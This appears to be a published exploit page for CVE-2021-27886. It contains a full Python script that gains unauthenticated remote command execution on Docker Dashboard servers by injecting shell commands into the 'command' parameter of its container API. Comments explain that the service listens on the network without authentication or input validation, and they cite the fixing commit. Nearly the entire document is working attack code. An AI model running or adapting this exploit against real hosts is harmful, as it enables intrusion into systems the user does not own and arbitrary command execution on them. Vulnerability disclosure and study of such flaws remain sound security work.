Docker Dashboard Remote Command Execution

Related Vulnerabilities: CVE-2021-27886  
Publish Date: 07 Jul 2021
Author: Jeremy Brown
                							

                #!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# dockdash.py
#
# Docker Dashboard Remote Command Execution Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# July 2021
#
# "A simple web based GUI for managing Docker containers and images"
#
# Note: this app is NOT part of the official docker product, nor related to the
# Docker Dashboard UI in Docker Desktop. They are different projects and maintainers.
#
# More info: https://dockerdashboard.github.io
#
# -------
# Details
# -------
#
# The web GUI runs on port 3230. There are two main issues that enable the RCE...
#
# 1) Although when starting the server it says go to http://localhost:3230, it's
# actually listening on the network interface by default. There is no auth
# so anyone with access can start exercising functionality of the app.
#
# 2) Normally these controllers are used to start, stop or create new containers.
# But no validation of parameters or filtering based on acceptable commands sent
# sent to docker on the backend enables clean, vanilla command injection as the
# running user. Many of the APIs are vulnerable, with the most notables ones
# being /api/container/command and /api/image/command.
#
# ----
# Demo
# ----
#
# > ./dockdash.py 10.1.1.102 "uname -a;pwd"
# Linux ubuntu 5.4.0-48-generic #51-Ubuntu x86_64 GNU/Linux
# /opt/docker-web-gui/backend
#
# CVE-2021-27886
#
# Fix
# - commit 79cdc41
#

import sys
import argparse
import requests

DEFAULT_PORT = 3230
SIGNATURE = ('X-Powered-By', 'Express')

class DockDash(object):
  def __init__(self, args):
    self.target = args.target
    self.cmd = args.cmd

  def run(self):
    target = "http://" + self.target + ':' + str(DEFAULT_PORT)

    session = requests.Session()

    try:
      resp = session.head(target + "/")
    except Exception as error:
      print("Error: %s" % error)
      return -1

    if(SIGNATURE not in resp.headers.items()):
      print("%s doesn't look like a dashboard server..." % target)
      return -1

    commands = self.cmd.split(';')

    #
    # "out here trying to get a mf'in scholarship"
    #
    for command in commands:
      try:
        resp = session.get(target + \
          "/api/container/command?container=&command=;" + command)
          #"/api/image/command?image=&command=;" + command)
      except Exception as error:
        print("Error: %s" % error)
        return -1

      if(resp.status_code == 200):
        response = resp.text.strip('"').replace('\\n', '\n')
        print("%s" % response)
      else:
        print("something went wrong, server returned %d" % resp.status_code)
        return -1

    return 0

def arg_parse():
  parser = argparse.ArgumentParser()

  parser.add_argument("target",
            type=str,
            help="DD host")

  parser.add_argument("cmd",
            type=str,
            help="command to execute")

  args = parser.parse_args()

  return args

def main():
  args = arg_parse()

  dd = DockDash(args)

  result = dd.run()

  if(result > 0):
    sys.exit(-1)

if(__name__ == '__main__'):
  main()
<p>